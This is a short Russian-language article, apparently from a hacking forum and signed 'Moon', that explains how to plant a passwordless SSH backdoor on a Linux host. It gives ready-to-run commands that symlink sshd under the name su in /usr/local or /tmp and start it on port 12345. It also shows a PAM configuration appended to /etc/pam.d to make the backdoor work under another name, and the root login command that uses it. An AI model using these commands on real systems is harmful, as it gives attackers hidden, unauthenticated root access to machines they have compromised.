Статья Использование бэкдора мягкого соединения ssh

[0x0021h]

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

Описание: Установите мягкую ссылку на файл /usr/local/su или в другие каталоги.Имя файла su нельзя изменить, и вы не сможете войти в систему, если оно изменится. Конечно, также возможно изменить имя su через другие настройки. Затем запустите, и укажите для монитора порт 12345. При входе пароль необязателен, логин следующий:

ssh root@xxx.xxx.xxx.xxx -p 12345

Примечание. Если цель создает мягкое соединение с использованием другой учетной записи, вам необходимо использовать соответствующую учетную запись вместо root при входе в систему.

Как упоминалось выше, чтобы изменить имя программной ссылки su, вам нужно использовать следующую команду, где xxxxxx — это имя, которое вам нужно изменить:

echo "
 #%PAM-1.0
 auth       sufficient   pam_rootok.so
 auth       include      system-auth
 account    include      system-auth
 password   include      system-auth
 session    include      system-auth " >> /etc/pam.d/xxxxxx

Включить прослушивание порта для входа в систему

ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=12345

автор: Moon